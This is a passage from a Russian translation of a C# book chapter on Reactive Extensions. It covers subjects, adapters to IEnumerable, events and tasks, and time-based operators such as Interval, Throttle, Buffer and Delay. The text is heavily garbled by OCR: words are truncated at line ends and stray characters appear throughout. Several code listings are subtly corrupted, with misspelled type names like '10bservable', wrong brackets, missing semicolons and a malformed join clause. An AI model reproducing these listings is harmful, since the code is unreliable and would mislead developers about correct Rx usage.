нему объектам. Поэтому вы не должны оставлять его постоянно подписанным на нескончаемы! источник. Тем не менее вы можете ограничить объем данных, которые субъект ReplaySubject<T> буферизирует. Он предоставляет различны перегруженные версии конструктора, и часть из них позволяет указать максимальное количество элементов для воспроизведения или огра- 612 I
Реактивные расширения ничить время, на протяжении которого элементы будут удерживаться. Конечно, если вы это сделаете, новые подписчики больше не смогут рас- считывать на получение всех'ЭЛементов, принятых ранее. Субъект AsyncSub ject<T> AsyncSubject<T> помнит только одно значение из своего источника, но, в отличие от субъекта BehaviorSub j ect<T>, который хранит самый по- следний элемент, AsyncSubject<T> ждет, когда источник закончит свою работу. После этого в качестве вывода он возвращает последнее полу- ченное значение. Если источник завершает свою работу, не предоставив ни единого элемента, то субъект AsyncSubject<T> делает то же самое по отношению к своим подписчикам. Этот субъект применяется внутри технологии Rx для связыва- ния реактивных расширений с задачами библиотеки TPL. Он 3?’*также помогает источникам типа Observable пользоваться асин- хронными возможностями языка, которые описаны в главе 18. Если вы подпишетесь на AsyncSubject<T> до того, как его источник завершит работу, то данный субъект не будет делать ничего с вашим подписчиком, пока источник не закончится. Но когда это произойдет, субъект AsyncSubject<T> сам начнет действовать как холодный источ- ник, предоставляя единичное значение. Если же источник не выдал ни одного значения, субъект сразу завершит работу Со всеми новыми под- писчиками. Адаптация Rx — интересная и мощная технология, но сама по себе она не имела бы широкого применения. Вполне возможно, что асинхронные уведомле- ния, с которыми вам придется работать, будут иметь API-интерфейс без поддержки библиотеки Rx — интерфейсы IObservable<T> и IObserver<T> появились только в версии 4.0 платформы .NET, и даже в версии 4.5 они все еще не применяются повсеместно. Большинство API-интерфейсов предлагают либо события, либо один из нескольких асинхронных под- ходов, реализованных в платформе .NET. Кроме тогоь фундаментальной абстракцией технологии Rx является последовательность элементов, поэтому есть большая вероятность, что на каком-то этапе вам понадо- 613
Глава 11 бится выполнить преобразование между интерфейсом IObservable<1 ориентированным на пассивное использование, и его активным анал Yom IEnumerable<T>. Технология Rx дает возможность адаптировать в эти виды источников к интерфейсу IObservable<T>, а в некоторых случ ях адаптация может выполняться в обоих направлениях. Интерфейс IEnumerable<T> Любой экземпляр IEnumerable<T> может быть легко перенесен в mi технологии Rx, благодаря методам расширения ToObservable. Ониопр делены в статическом классе Observable, находящемся в пространсп имен System.Reactive.Linq. В листинге 11.36 показана простейшаяра новидность, которая не принимает аргументов. Листинг 11.36. Преобразование интерфейса lEnumerable<T> в lobservable<T> public static void ShowAll(IEnumerable<string> source) { IObservabls<string> observableSource = source. ToObservable () ; observableSource.Subscribe(Console.WriteLine); } Сам по себе метод ToObservable ничего не делает с вводом — он пр сто возвращает обертку, которая реализует интерфейс lObservable^ Эта обертка является холодным источником, и только после выполв ния подписки она начинает перебирать свой входящий поток, передав каждый элемент в метод OnNext, принадлежащий подписчику. Закона она вызывает метод OnCompleted. Если источник сгенерирует исклюй ние, этот адаптер вызовет метод OnError. В листинге 11.37 показано, к мог бы работать метод ToObservable, если бы ему не нужно было испод зовать планировщик. Листинг 11.37. Как мог бы выглядеть метод ToObservable без поддержки планировщика public static IObservable<T> MyToObservable<T> (this IEnumerable<T> input, { return Observable.Create((IObserver<T> observer) => { bool inObserver = false; try 614
Реактивные расширения foreach (Т item in input) { inObserver = true; observer.OnNext(item) inObserver = false; } inObserver = true; observer.OnCompleted(); } catch (Exception x) { if (inObserver) { throw; } observer.OnError(x); ) return () => { }; }); 1 На самом деле все работает немного не так, потому что в листин- ге 11.37 нельзя применять планировщик (полноценная реализация была бы намного сложнее для восприятия, что свело бы к нулю всю пользу данного примера, а именно: продемонстрировать основную идею, кото- рая стоит за методом ToObservable). В реальных условиях этот метод ис- пользует планировщик для управления процессом перебора, позволяя при необходимости выполнять подписку асинхронно. Он также спосо- бен остановит^ работу, если перед этим подписка объекта была отме- нена. У него есть перегруженная версия, принимающая один аргумент типа IScheduler, с помощью которого можно указать конкретный пла- нировщик; если вы этого не сделаете, будет использован планировщик CurrentThreadScheduler. Что касается интеграции в обратную сторону — когда у вас имеет- ся источник IObservable<T>, но вам хочется работать с ним как с ин- терфейсом IEnumerable<T>, — вы можете вызвать один из двух методов расширения, GetEnumerator или ToEnumerable, также предоставляемых классом Observable. В листинге 11.38 создается обертка вокруг интер- фейса IObservable<string>, представленная в виде IEnumerable<string>, которую можно перебирать при помощи обычного цикла foreach. 615
Глава 11 Листинг 11.38. Использование интерфейса iobservable<T> В качестве IEnumerable<T> public static void ShowAll(IObservable<string> source) { foreach (string s in source.ToEnumerable()) { Console.WriteLine(s); i } } Обертка подписывается на источник от вашего имени. Если источ- ник выдает элементы быстрее, чем вы можете их перебирать, обертка бу- дет размещать их в очереди, чтобы вы могли доставать их оттуда, когда у вас появится возможность. Если же скорость выдачи элементов источ- ником не такая высокая, обертка будет просто ждать, когда они станут доступными. События уровня платформы .NET j Технология Rx может заворачивать события уровня платфор* мы .NET в интерфейс IObservable<T>, используя статический метод FromEventPattern из класса Observable. В листинге 11.39 создается класс FileSystemWatcher из простран* ства имен System. 10, который вызывает различные события при до- бавлении, удалении, переименовании или каком-то другом изменении конкретной папки. Этот код использует статический метод Observable. FromEventPattern для создания источника типа lObservable, который представляет событие Created из переменной watcher. (Вместо это- го вы можете передать в качестве первого аргумента объект Туре, если вам нужно обрабатывать статическое событие. Класс Туре описывается в главе 13.) Листинг 11.39. Заворачивание события внутрь интерфейса iobservable<T> string path = Environment.GetFolderPath(Environment.SpecialFolder. MyPictures); var watcher = new FileSystemWatcher(path); watcher.EnableRaisingEvents = true; I0bservable<EventPattern<FileSystemEventArgs>> changes Observable.FromEventPatteYn<FileSystemEventArgs>(watcher, "Created"); changes.Subscribe(evt => Console.WriteLine(evt.EventArgs.FullPath)) ; 616
Реактивные расширения На первый взгляд этот код кажется намного более сложным, чем просто выполнение подписки на событие обычным способом, как было показано в главе 9. К тому же, не видно никакой явной выгоды. Действи- тельно, в этом конкретном примере старый способ был бы более пред- почтительным. Тем не менее у технологии Rx есть очевидное преимуще- ство: если бы вы писали приложение с пользовательским интерфейсом, вы могли бы применить метод ObserveOn в сочетании с подходящим планировщиком, чтобы ваш обработчик всегда запускался в правиль- ном потоке независимо от того, какой поток вызвал событие. Еще одно преимущество — именно из-за него обычно и применяют этот подход — заключается в том, что для обработки событий вы можете использовать любые операторы запросов из библиотеки Rx. Элементы, которые генерируются источником в листинге 11.39, имеют тип EventPattern<FileSystemEventArgs>. Универсальный тип EventPattern<T> определен в библиотеке Rx специально для того, чтобы представлять появление события, где тип делегата соответствует стандарт- ному шаблону, описанному в главе 9 (то есть он принимает два аргумента: первый имеет тип object и представляет объект, вызвавший событие; тип второго унаследован от EventArgs и содержит информацию о событии). У класса EventPattern<T> есть два свойства, Sender и EventArgs, соответ- ствующие двум аргументам, которые должен получить обработчик собы- тия. Фактически этот объект выполняет для обработчика событий то, что в обычных условиях являлось бы вызовом метода. У листинга 11.39 есть необычная особенность: второй аргумент ме- тода FromEventPattern является строкой, содержащей имя события. Во время выполнения кода библиотека Rx превращает его в полноценный член-событие. Это не самое лучшее решение по нескольким причинам. Во-первых, компилятор не сумеет заметить неправильно набранное на- звание. Во-вторых, он не поможет вам с типами — если бы вы обрабаты- вали событие уровня платформы .NET напрямую при помощи лямбда- выражения, то он смог бы вывести типы аргументов из определения события; но здесь я передаю название события в виде строки, следова- тельно, компилятор не знает, какое событие я использую (и использую ли я его вообще). Потому мне пришлось явно указать для метода уни- версальный тип. И, опять же, если я ошибусь, компилятор об этом не узнает — проверка произойдет уже во время выполнения кода. Такой подход, основанный на использовании строк, появился в ре- зультате изъяна, присущего событиям, — вы не можете передать собы- тие в качестве аргумента. Фактически события являются очень ограни- 617
Глава 11 ценными членами. Не позволяется делать с ними ничего за пределам! Класса, в котором они определены, кроме как добавлять и удалять ю обработчики. Это та область, где технология Rx превосходит событий ную модель — в ее мире источники событий и подписчики представ лены в виде объектов (которые реализуют интерфейсы lObservablecn и IObserver<T> соответственно), благодаря чему их можно легко пере давать в методы в качестве аргументов. Но это нам никак не помогав при работе с событиями, пока еще не являющимися частью техноло гии Rx. Библиотека Rx действительно предоставляет перегруженный мето; который не требует использования строки, — вы можете передать ем делегаты, добавляющие и удаляющие обработчики в рамках технологи Rx. Это продемонстрировано в листинге 1.40. Листинг 11.40. Создание обертки для события при помощи делегатов IObservable<EventPattern<Fi leSystemEventArgs» changes Observable.FromEventPattern<FileSystemEventHandler, FileSystemEventArgs>( h => watcher.Created += h, h => watcher.Created -= h); Вышеприведенный код немного более многословен, так как он тр бует наличия аргумента универсального типа, который указывает а типы делегата обработчика и самого события. В версии, где использом лась строка, тип обработчика обнаруживался во время выполнения код^ однако подход, представленный в листинге 11.40, обычно применяете^ для того, чтобы проверка типов выполнялась на этапе компиляции, пФ этому компилятору нужно знать, какие типы вы используете; лямбд! выражения в предыдущей версии не предоставляли всей информация необходимой компилятору для автоматического выведения типов ар- гументов. Мы обсудили заворачивание событий в источник, но можво пойти и в обратном направлении. В библиотеке Rx содержится опера- тор под названием ToEventPattern<T>, предназначенный для интерфей- са IObservable<EventPattern<T» (стоит заметить, что ему требуется по- следовательность элементов типа EventPattern<T> — для любых старш версий источника типа lObservable он недоступен). Если вы его вызове- те, он вернет объект, реализующий интерфейс lEventPatternSourceO. Данный объект определяет единственное событие, которое называется OnNext и имеет тип EventHandler<T>; это позволяет подключить обработ- чик событий к источнику типа lObservable в обычной для платформы .NET манере. 618
Реактивные расширения Среда выполнения Windows (предназначенная для приложений с пользовательским интерфейсом в стиле Windows 8) имеет свою соб- ственную модель обработки событий, основанную на типе под названи- ем TypedEventHandler. Начиная с версии библиотеки Rx 2.0, в простран- стве имен System.Reactive.Linq ^цадодится класс WindowsObservable, в котором определены методы для взаимодействия между данным под- ходом и средствами, предлагаемыми библиотекой Rx. Эти методы, на- зываемые FromEventPattern и ToEventPattern, предоставляют те же воз- можности, что и вышеописанные версии, только предназначены они для событий из среды выполнения Windows, а не для обычных событий уровня .NET. Асинхронные API-интерфейсы Платформа .NET поддерживает различные асинхронные моде- ли, описанием которых я займусь в главах 17 и 18. Первой в .NET по- * явилась модель асинхронного программирования (АРМ, Asynchronous Programming Model), и, как самая старая, она является одной из наибо- лее хорошо поддерживаемых. Однако она не имеет прямой поддержки со стороны новых асинхронных возможностей языка С#, поэтому API- интерфейсы в платформе .NET все чаще переходят к использованию би- блиотеки TPL, любая задача которой может быть представлена техноло- гией Rx в виде источника типа I Observable. Версия 1.0 библиотеки Rx предоставляла метод * FromAsyncPattern, который мог работать напрямую с вызова- - -иУми методов модели АРМ. Он все еще присутствует в версии Rx 2.0, но теперь считается устаревшим, и вместо него реко- мендуется использовать библиотеку TPL. Она уже предостав- ляет возможность создания оберток для задач в рамках моде- ли АРМ, потому нет никакого смысла дублировать эту работу в библиотеке Rx. Используя обертки из TPL, библиотека Rx может представлять старые операции, основанные на модели АРМ, в виде реализации интерфейса iObservable<T>. Общий принцип любого асинхронного подхода на платформе .NET выглядит так: вы запускаете какую-то работу, которая когда-нибудь за- кончится и, возможно, вернет результат. Намерение перенести это в рам- ки технологии Rx может показаться странным, ведь там фундаменталь- ной абстракцией является последовательность элементов, а не единый 619
Глава 11 результат. Разницу между технологиями Rx и TPL можно представил следующим образом: интерфейс IObservable<T> является аналогов IEnumerable<T>, тогда как класс Task<T> — это эквивалент свойства типа 1 В случае с интерфейсом IEnumerable<T> и свойствами вызывающий объ ект сам решает, когда извлекать информацию из источника, тогда как npi работе с компонентами IObservable<T> и Task<T> источник предоставлю ет информацию по мере ее готовности. Выбор стороны, которая решав! когда предоставлять информацию, не пересекается с вопросом о том, яв» ляется ли информация единичной или это последовательность элемен- тов. Потому налаживание связи между IObservable<T> и асинхронным! API-интерфейсами, выдающими единичные результаты, кажется слепа нелогичным. Однако в синхронном мире мы можем выйти за эти рамг ки — как вы уже видели в главе 10, технология LINQ определяет ра> личные стандартные операторы, такие как First или Last, которые вы- дают единичные значения из последовательностей. Библиотека Rx тоже поддерживает эти операторы, но, кроме того, она способна делать и об- ратное: переносить асинхронные источники с единичными значениям! в мир потоков. В итоге мы получаем источник типа IObservable<T>, кото- рый выдает всего один элемент (или сообщает об ошибке, если операцип завершилась неудачно). Аналогом такого подхода в синхронном мире стало бы заворачивание единичного значения в массив, чтобы его можно было передать в API-интерфейс, требующий наличия IEnumerable<T>. В листинге 11.41 эта возможность используется для создания источ- ника IObservable<string>, который либо генерирует единичное значение с текстом, полученным в результате загрузки конкретного URL-адреса, либо сообщает о неудачном завершении загрузки. Для загрузки текста здесь используется API-интерфейс класса WebClient, основанного на би- блиотеке TPL. Листинг 11.41. Использование объекта типа iobservable<T> в качестве обертки для задачи Task<T> public static IObservable<string> GetWebPageAsObservable(Uri pageUrl) { var web = new WebClient(); Task<string> getPageTask = web.DownloadStringTaskAsync(pageUrl); return getPageTask.ToObservable(); ) Метод ToObservable, который используется в данном примере, яв.» ется методом расширения, предусмотренным в библиотеке Rx для типа 620
Реактивные расширения Task. Чтобы он был доступен, ваша область видимости должна включать пространство имен System.Reactive.Threading.Tasks. Одной из потен- циально неприемлемых особенностей листинга 11.41 является тот факт, что он пытается выполнить загрузку всего один раз, вне зависимости от того, сколько объектов подписано на источник. Это вполне может отве- чать вашим требованиям, но в некоторых случаях есть смысл каждый раз пытаться загрузить свежую копию. Если вам нужно именно такое, лучше использовать метод Observable.FromAsync, так как ему можно передать лямбда-выражение, выполняемое при появлении каждого нового под- писчика. Оно возвращает задачу, которая затем будет помещена внутрь источника типа IObservable<T>. В листинге 11.42 этот подход использу- ется, чтобы начинать новую загрузку для каждого подписчика. Листинг 11.42. Создание новой задачи для каждого подписчика public static IObservable<string> GetWebPageAsObservable(Uri pageUrl) ( return Observable.FromAsync(() => { var web = new WebClientO; return web.DownloadStringTaskAsync(pageUrl); I); ) Этот код может оказаться не самым оптимальным решением, если у вас много подписчиков. С другой стороны, он более эффективен в том случае, если никто не пытается выполнять подписку. Код в листинге 11.41 начинает асинхронную работу сразу же, не ожидая появления каких- либо подписчиков. Это может оказаться хорошим выбором — если у по- тока точно должны быть подписчики, то выполнение медленной работы до появления первого из них уменьшит общее время ожидания. Однако если вы пишете класс в рамках библиотеки, предоставляющей разные источники, не все из которых могут быть использованы, то откладыва- ние работы до появления первой подписки — иногда вполне хорошее решение. Конечно, есть и другой вариант: написать более сложную реа- лизацию, которая ждет первого запроса, но выполняет работу не более одного раза, каким бы ни было число подписчиков. В среде выполне- ния Windows тоже существуют некоторые асинхронные модели, осно- ванные на интерфейсах lAsyncOperation и lAsyncOperationWithProgress. В пространстве имен System.Reactive.Windows.Foundation содержатся методы расширения, которые интегрируют их с библиотекой Rx. Ме- 621
Глава 11 тоды расширения ToObservable предназначены для вышеупомянута типов, а методы ToAsyncOperation и ToAsyncOperationWithProgress раб< тают с интерфейсом IObservable<T>. Операции, спланированные по времени Так как технология Rx способна иметь дело с живыми потоками ш формации, есть вероятность, что вам придется обрабатывать элемент с учетом времени. Иногда бывает важна частота появления знамени иногда вам может понадобиться сгруппировать элементы на ochoi того, когда они были предоставлены. В этом заключительном раздел я опишу некоторые операции из библиотеки Rx, зависящие от времен Метод Interval ' Метод Observable. Interval возвращает последовательность, котора постоянно производит значения с временным интервалом, заданны в виде аргумента типа TimeSpan. В листинге 11.43 создается источни выдающий по одному значению каждую секунду. & Листинг 11.43. Регулярная выдача элементов с указанным интервалом 10bservable<long> src = Observable.Interval (TimeSpan.FromSeconds(1)); src.Subscribe(i => Console.WriteLine("Событие {0} в {1:T}", i, DateTime. Now)); Элементы, сгенерированные методом Interval, имеют тип long. Р значения — 0,1,2 и т. д. Метод Interval работает с каждым подписчиком отдельно (то eci представляет собой холодный источник). Чтобы это продемонстрир вать, добавьте после предыдущего примера код из листинга 11.44, к( торый сначала подождет какое-то время, а потом создаст вторую noj писку. Листинг 11.44. Два подписчика для одного источника interval Thread.Sleep(2500); src.Subscribe(i => Console.WriteLine("Событие {0} в {1:T} (2-й подписчик)", i, DateTime.Now)); 622
Реактивные расширения Второй подписчик появляется через две с половиной секунды после первого, поэтому данный код выводит следующее: Событие 0 в 09:46:58 Событие 1 в 09:46:59 Событие 2 в 09:47:00 Событие 0 в 09:47:00 (2-й подписчик) Событие 3 в 09:47:01 Событие 1 в 09:47:01 (2-й подписчик) Событие 4 в 09:47:02 Событие 2 в 09:47:02 (2-й подписчик) Событие 5 в 09:47:03 Событие 3 в 09:47:03 (2-й подписчик) Как вы можете видеть, значения второго подписчика начинаются с нуля, так как у него собственная последовательность. Если вы хотите передавать нескольким подписчикам единый набор элементов, сплани- рованных по времени, используйте оператор Publish, описанный ранее. Вы можете применять источник Interval в сочетании с групповым объединением, чтобы разбивать элементы на порции в'зависимости от того, когда они появляются. (Это не единственный способ — существу- ют также перегруженные версии операторов Buffer и Window, которые могут делать то же самое). В листинге 11.45 для представления слов, вводимых пользователем, используется таймер в сочетании с источни- ком типа IObservable<T> (вторая последовательность находится в пере- менной wards, взятой из листинга 11.27). Листинг 11.45. Подсчет слов, вводимых за минуту 10bservable<long> ticks = Observable.Interval(TimeSpan.FromSeconds(6)); I0bservable<int> wordGroupCounts = from tick in ticks join word in words on ticks equals words into wordsInTick from count in wordsInTick.Count() select count * 10; wordGroupCounts.Subscribe(c => Console.WriteLine("Слов в минуту: " + с)); Этот запрос, имея в своем распоряжении слова, сгруппированные на основе событий из источника Interval, приступает к подсчету коли- чества элементов в каждой группе. Так как группы равномерно распре- делены по времени, данный код может быть применен для вычисления 623
Глава 11 приблизительной частоты, с которой пользователь вводит слова. Я фо мирую группу каждые 6 секунд, поэтому мы можем умножить колич ство слов в группе на 10, чтобы узнать, сколько слов вводится за м нуту. Результат получится не совсем точным, так как библиотека Rx об единяет два элемента, если периоды их активности пересекаются. Из-: этого слова будут учитываться несколько раз. Последнее слово в koi це одного интервала также окажется первым словом в начале другог В данном случае проводится довольно приблизительное измерение, т: что меня это не очень волнует, но если вам нужны более точные резул таты, вы должны помнить о том, как пересечения влияют на подобн го рода операции. Операторы Window или Buffer могут оказаться 6ол1 удачным решением. Метод Timer Метод Observable. Timer создает последовательность, производящу ровно один элемент. Но перед этим метод ждет на протяжении того вр мени, которое указано в аргументе TimeSpan. Он очень похож на мек Observable. Interval, ведь он не только принимает такой же аргумент,! даже возвращает последовательность того же типа — IObservable<long Поэтому я могу подписаться на источник данного вида почти так же, га я делал с последовательностью интервалов. Пример показан в листинге 11.46. Листинг 11.46. Генерирование единичного элемента при помощи метода Timer 10bservable<long> src = Observable.Timer(TimeSpan.FromSeconds(1)) ; src.Subscribe(i => Console.WriteLine("Событие {0} в {l:T}"r i, DateTime. Now)); Здесь эффект окажется такой же, как от использования мето; Interval, который останавливается после выдачи первого элемента,™ этому вы всегда будете получать нулевое значение. Существуют также перегруженные версии данного метода, кот рые принимающие дополнительный аргумент TimeSpan и начинают производить значения регулярно, как делает метод Interval. На само деле у себя внутри Interval использует метод Timer, являясь всего лип оберткой с простым API-интерфейсом. 1 624
Реактивные расширения Метод Timestamp В предыдущих двух разделах^использовал метод DateTime .Now, что- бы при выводе сообщений на экран показать, когда источник генерирует элементы. Но здесь имеется одна потенциальная проблема: этот код вы- дает нам время, когда сообщение попало в наш обработчик, что не всегда точно показывает, когда оно было получено. Допустим, вы применили метод ObserveOn, чтобы убедиться, что ваш обработчик всегда выпол- няется в потоке пользовательского интерфейса; это может привести к серьезной задержке между производством значения и тем моментом, когда ваш код его получает, из-за занятости потока пользовательского интерфейса другими вещами. Вы можете смягчить проблему при помо- щи метода Timestamp, который доступен в любом экземпляре интерфей- са IObservable<T>. В листинге 11.47 он используется как альтернатив- ный способ для вывода времени выдачи элементов методом Interval. Листинг 11.47. Вывод времени производства элементов при помощи метода Timestamped. I0bservable<Timestamped<long>> src = Observable.Interval(TimeSpan.FromSeconds(1)).Timestamp(); я src.Subscribe(i => Console.WriteLine("Событие {0} в {1:T}", i.Value, i.Timestamp.ToLocalTime())); Если источник возвращает значения типа Т, то данный метод выдаст реализацию lObservable с элементами типа Timestamped<T>. У этих эле- ментов есть два свойства: Value, которое содержит исходное значение, полученное из источника, и Timestamp, показывающее, когда значение прошло через метод Timestamp. Свойство Timestamp имеет тип DateTimeOffset и выбирает нуле- 4 ч вой сдвиг временной зоны (то есть UTC — всемирное коор- 4?’динированное время). Это дает надежную основу для расчета времени, исключая любую вероятность перехода на зимнее или летнее, пока ваша программа работает. Тем не менее, если вы хотите показать временную отметку конечному пользователю, вам, вероятно, стоит привести ее в удобочитаемый вид — поэ- тому в листинге 11.47 для нее вызывается метод ToLocalTime. Вы должны применять этот метод напрямую к источнику, для ко- торого нужно создавать временные отметки, а не переносить задачу 625
Глава 11 дальше по цепочке. Вызов src.ObserveOn(sched).Timestamp() разруши бы идею, так как он помечает элементы уже после того, как планиро! щик отйравляет их методу ObserveOn. Было бы лучше написать src Timestamp () .ObserveOn (sched), чтобы временная отметка гарантирова но ставилась до передачи элементов в цепочку обработки, из-за чег могла бы появиться задержка. Метод Timelnterval Если метод Timestamp записывает текущее время в момент возню новения элемента, то его аналог, Timelnterval, записывает время, про шедшее между появлениями соседних элементов. В листинге 11.48 о используется в сочетании с источником, созданным при помощи метод Observable.Interval, поэтому стоит ожидать, что элементы будут рас пределены достаточно равномерно. Листинг 11.48. Измерение интервалов 10bservable<long> ticks = Observable.Interval (TimeSpan.FromSeconds(0.75)); I0bservable<TimeInterval<long>> timed = ticks.Timelnterval(); timed.Subscribe(x => Console.WriteLine( ' "Событие {0} заняло {l:F3)"r x.Value, x.Interval.TotalSeconds)) ; Элемент типа Timestamped<T>, сгенерированный методом Timestamj предоставляет свойство Timestamp, тогда как внутри элемента TimeInterval<T>, возвращаемых методом Timelnterval, определено свой ство Interval. Оно имеет тип TimeSpan вместо DateTimeOffset. Количе ство секунд, прошедших между появлением элементов, я решил выво дить с тремя знаками после запятой. Вот часть того, что я вижу, когд запускаю этот код на своем компьютере: Событие 0 заняло 0.760 Событие 1 заняло 0.757 Событие 2 заняло 0.743 Событие 3 заняло 0.751 Событие 4 заняло 0.749 Событие 5 заняло 0.750 Здесь мы наблюдаем интервалы, которые отличаются от того, чт я просил, примерно на 10 мс — но это довольно обычная ситуации Windows не является операционной системой реального времени. 626
Реактивные расширения Метод Throttle Метод Throttle позволяет вам ограничивать частоту, с которой вы обрабатываете элементы. Для этого емуТ1ужно передать значение типа TimeSpan, обозначающее нужный вам временной интервал между любыми двумя элементами. Если исходный источник выдает элементы быстрее, Чем указано, то метод Throttle будет их просто игнорировать. Если ис- точник не дотягивает до заданной частоты, этот метод станет передавать Все как есть. Вот что удивительно (по крайней мере, для меня): как только источник превысит указанную частоту, метод Throttle начинает игнори- ровать все элементы, пока скорость не снизится до заданного уровня. Та- ким образом, если в качестве частоты вы указали 10 элементов в секунду, а источник производит 100, то этот метод не будет возвращать каждый десятый элемент — он не вернет ничего, пока источник не замедлится. Метод Sample Метод Sample выдает элементы из своего входящего потока с интер- валом, который был указан в аргументе TimeSpan, независимо от того, как быстро генерирует значения его входящий источник. Если тот выдает элементы с частотой, превышающей заданную, то метод Sample выбра- сывает лишние значения, достигая нужной скорости. Но если источник работает медленней, то этот метод будет просто повторять последнее вначение, обеспечивая тем самым постоянную доставку уведомлений. 1 1 Метод Timeout I Метод Timeout пропускает через себя все, что выдает его источник, ва исключением тех случаев, когда тот делает слишком длинную паузу Между моментом выполнения подписки и появлением первого элемента Дли между двумя соседними вызовами подписчика. Минимальный до- пустимый интервал указывается при помощи аргумента TimeSpan. Если ра протяжении этого времени не будет никакой активности, Timeout за- вершит работу, передав в метод OnError исключение TimeoutException. i Оконные операторы । Ранее я уже описывал операторы Buffer и Window, но я обошел сторо- ной их перегруженные версии, которые зависят от времени. Можно не 627
Глава 11 только указывать размер окна и количество пропусков, помечать грай цы окна при помощи вспомогательного источника, но также и опии вать окна, основанные на временных значениях. Если вы передадите только аргумент TimeSpan, то оба оператора б дут разбивать входящий поток на смежные окна, испо/ьзуя задании интервал. Это значительно упрощает подсчет слов, введенных за мин ту, если сравнивать с листингом 11.45. В листинге 11.49 показано, ю достичь того же эффекта с оператором Buffer, используя окна, сплаи рованные по времени. г Листинг 11.49. Планирование окон по времени при помощи оператора Buffer IObservable<int> wordGroupCounts = from wordGroup in words.Buffer(TimeSpan.FromSeconds(6)) select wordGroup.Count * 10; wordGroupCounts.Subscribe(c => Console.WriteLine("Слов в минуту: " + с)); Есть и другие перегруженные версии, которые принимают оба арг мента, TimeSpan и int, позволяя вам закрывать текущее окно (тем сами открывая новое) либо по истечении указанного интервала, либо в р зультате превышения порогового количества элементов. Кроме тог существуют перегруженные версии, которые принимают два аргуме! та TimeSpan. Это то же самое, что сочетание размера окна и количесг пропусков, только на основе времени. Первый аргумент TimeSpan опр деляет продолжительность работы окна, тогда как во втором задаеп интервал, с которым новые окна открываются. Это означает, что ою не обязательно должны плотно примыкать друг к другу — между ™ могут быть промежутки, — и они также могут перекрываться. В листа re 11.50 такой подход используется для более частого подсчета словщ том же шестисекундном окне. Листинг 11.50. Наложение друг на друга окон, спланированных по времени IObservable<int> wordGroupCounts = from wordGroup in words.Buffer(TimeSpan.FromSeconds(6), TimeSpan.FromSeconds(1)) select wordGroup.Count * 10; В отличие от процесса разбиения на основе объединений, которь я показывал в листинге 11.45, операторы Window и Buffer не учитыв ют элементы по два раза, так как они не следуют концепции пересеч ния интервалов активности. Они относятся к появлению элемента к 628
Реактивные расширения «мгновенному событию, которое возникает либо внутри, либо за преде- лами заданного окна. Поэтому примеры, показанные мною выше, будут измерять частоту чуть более точно. I Метод Delay ! Метод Delay позволяет вам сдвигать вывод источника по времени. Вы можете передать ему аргумент TimeSpan, и тогда он будет задержи- вать все на указанный промежуток времени; вы также можете опреде- лить время, когда бы вы хотели начать воспроизводить входящий поток, рели укажете аргумент DateTimeOffset. В качестве альтернативного ва- рианта вы можете передать источник типа IObservable<T>; в тот момент, когда он что-то выдаст или завершится, элементы, которые он хранил, Начнут передаваться при помощи метода Delay. Вне зависимости от того, как определяется длина временного сдви- га, метод Delay всегда пытается сохранять изначальные интервалы между входящими элементами. Таким образом, если исходный источник вы- дает первый элемент без задержки, второй через три секунды, а третий через минуту, то экземпляр IObservable<T>, сгенерированный методом Delay, будет генерировать элементы с теми же временными интервалами. Естественно, если ваш источник начнет производить элементы с огром- ной частотой — допустим, полмиллиона в секунду — то дадут о себе знать определенные ограничения относительно точности, с которой метод Delay способен воспроизвести время появления элементов, но он сделает все от него зависящее. Эти ограничения — не постоянные. Они будут опреде- ляться свойствам^ используемого вами планировщика, а также свобод- ными ресурсами центрального процессора на вашем компьютере. К при- меру, если вы используете один из планировщиков, ориентированных на пользовательский интерфейс, вы будете ограничены доступностью гра- фического потока и частотой, с которой он способен выполнять работу. (Как и все остальные операторы, зависящие от времени, метод Delay вы- берет для вас планировщик по умолчанию, но вы можете воспользоваться одной из его перегруженных версий, чтобы сделать это самостоятельно.) Метод Delaysubscription Метод Delaysubscription предлагает тот же набор перетруженных версий, что и метод Delay, но при этом использует другой способ дости- жения задержки. Когда вы подписываетесь на источник, сгенерирован- 629
Глава 11 ный методом Delay, тот сразу же подключается к исходному источи» ку и начинает буферизировать элементы, переправляя каждый из них только по истечении срока задержки. Метод Delaysubscription приме- няет другую стратегию: он просто откладывает выполнение подписки на исходный источник, а затем сразу же начинает переправлять все эле- менты. В случае с холодными источниками метод Delaysubscription обычно делает то, что вам нужно, так как задержка начала работы холодного ис- точника, как правило, сдвигает весь процесс. Но при работе с горячими источниками метод Delaysubscription может привести к потере любых сообщений, которые возникают во время задержки, а уже после этого вы начнете получать сообщения без временного сдвига. Метод Delay более надежный — сдвигая по времени каждый элемент в отдельности, он работает и с холодными, и с горячими источниками. Но при этом он должен делать больше — ему необходимо буферизиро- вать все, что он получает, пока длится задержка. Занятость источника или слишком продолжительная задержка может привести к значител11- йому потреблению памяти, а воспроизводить изначальные интервалы св сдвигом по времени намного сложнее, чем просто передавать элементы напрямую. Поэтому метод Delaysubscription будет более эффективны! в тех случаях, в которых его применение целесообразно. Резюме Как вы теперь знаете, технология реактивных расширений длв платформы .NET предоставляет богатую функциональность. В основе библиотеки Rx лежит строго определенная абстракция для последова- тельностей элементов, где источник сам решает, когда предоставлять значения; с ней также связана другая абстракция, представляющав подписчика для таких последовательностей. Благодаря тому, что обе абстракции представлены в виде объектов, источник событий и под- писчик являются полноценными сущностями; это означает, что в( можете передавать их в качестве аргументов, хранить их внутри поле! и вообще делать с ними все то, что вы можете делать с любым другим типом данных в платформе .NET. И хотя всего этого можно достичь ирв помощи делегатов, события уровня .NET не являются полноценными объектами. Более того, технология Rx предоставляет четко определен- ный механизм оповещения подписчиков об ошибках — то, с чем ни де- 630
Реактивные расширения легаты, ни события не справляются должным образом. Помимо опре- деления нового полноценного представления источников событий, библиотека Rx поддерживает всеобъемлющую реализацию технологии LINQ — именно поэтому ее часто называют LINQ to Events (LINQ для событий). Но на самом данная библиотека отнюдь не ограничивается стандартным набором операторов из состава LINQ, предлагая множе- ство методов, открывающих окно в мир процессов, чувствительных ко времени, в котором функционируют событийные системы. Библиоте- ка Rx также предоставляет различные средства для интеграции своих базовых абстракций с другими областями, включая стандартные для платформы .NET события, интерфейс IEnumerable<T> и разнообразные асинхронные модели.
